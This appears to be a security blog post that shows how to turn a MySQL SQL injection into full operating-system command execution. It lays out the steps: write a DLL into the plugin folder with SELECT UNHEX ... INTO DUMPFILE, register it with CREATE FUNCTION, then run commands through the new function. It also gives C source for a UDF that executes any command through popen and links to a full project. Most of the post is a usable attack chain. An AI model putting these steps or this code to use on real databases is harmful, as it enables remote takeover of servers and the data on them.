News

Converting your SQL Injection to an OS takeover

A few days ago, I stumbled onto a SQL function that I’m pretty sure not everyone understands the extra bonus ability it can give to an external attacker. SQL databases support a dynamic load of plugins (meaning DLLs) without too many limitations.

 

That’s made me think, why not just not dynamically load my own shell and neglect the need to use the standard SQL Commands.

First, we should understand the option. MySql supports the Create Function method that enables the creation of an extension function that acts like a native MySQL function. This means that we can load any module file that is located in the plugin folder. The syntax is pretty simple:

CREATE FUNCTION sqliexec RETURNS STRING SONAME MyDll.dll.

https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html.

 

Sqliexec will be the function name that we will soon write that executes a shell interpreter on the foreign server. MyDll.dll will be the DLL that implements the sqliexec function. So now, only one question is left: how are we able to upload our DLL to the database plugin folder server?

Luckily for us, it is pretty simple; we can use the ‘INTO FILE’ function in order to create our own DLL. So what it will look like:

SELECT UNHEX(‘5361792048656c6c6f207…..’) INTO DUMPFILE ‘MyDll.dll’.

https://dev.mysql.com/doc/refman/5.1/en/select-into.html.

I’m using dumpfile option to neglect any formatting issues

 

Now, crafting a quick shellcode, and we are finished.

Char *sqliexec(

UDF_INIT *initid, UDF_ARGS *args, char *result, unsigned long *length, char *is_null, char *error) {

const char *input = args->args[0]; unsigned long count=0, linelen;

char line[1024]; FILE *pipe;

                pipe = popen(input, “r”);
                if(!pipe){ *is_null = 1; return NULL; }
                result = malloc(1);
                if(result == NULL) { *is_null = 1; return result; }
                while (fgets(line, sizeof(line), pipe) != NULL) {
                                linelen = strlen(line);
                                result = realloc(result, count + linelen);
                                strncpy(result + count, line, linelen);
                                count = count + linelen; }
                pclose(pipe);
                result[count] = 0;
                *length = strlen(result);       return result;
}

So in summary, 3 main steps to do:

  1. Make our DLL file using ‘INTO FILE’ and entering the HEX string of our shellcode.
  2. Link our shellcode function using ‘CREATE FUNCTION’.
  3. Run our loaded function whenever we want using: SELECT sqliexec(“Command”);

Pawned.

We can run any OS command (or for that matter, any other function / C&C, procedure that we want). Our function will be available as long as the database is running.

For the source code project:

https://github.com/kasif-dekel/MySQLiExec

 

By Kasif Dekel and Idan Cohen

Kasif Dekel, is a senior security researcher and penetration tester with vast experience in application and infrastructure attacks.